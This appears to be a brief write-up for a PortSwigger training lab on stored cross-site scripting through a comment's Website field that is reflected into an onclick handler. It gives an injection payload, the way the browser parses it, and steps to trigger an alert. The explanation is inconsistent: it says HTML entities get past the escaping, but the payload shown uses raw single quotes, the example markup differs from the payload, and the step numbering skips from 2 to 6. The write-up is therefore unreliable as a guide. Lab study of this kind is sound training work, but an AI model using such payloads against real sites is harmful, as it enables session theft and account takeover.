Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

PortSwigger

Description This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

Solution Steps

Step 1: Understand the Context

When you post a comment, the “Website” field is reflected inside an onclick event handler:

<a id="author" href="http://\\\\\');alert(1);//" onclick="var tracker={track(){}};tracker.track('http://\\\\\');alert(1);//');">thunder</a>

Step 2: Construct the Payload

Use JavaScript URL encoding with HTML entities to bypass the escaping:

Payload:

http://foo?'-alert(1)-'

JS engine split the payload

tracker.track('http://foo?') - alert(1) - ('')

Step 6: Test the Exploit

1. Post a comment with the payload in the Website field:

   http://foo?'-alert(1)-'
   

2. View the blog post
3. Click on the author name above your comment
4. The alert fires → Lab solved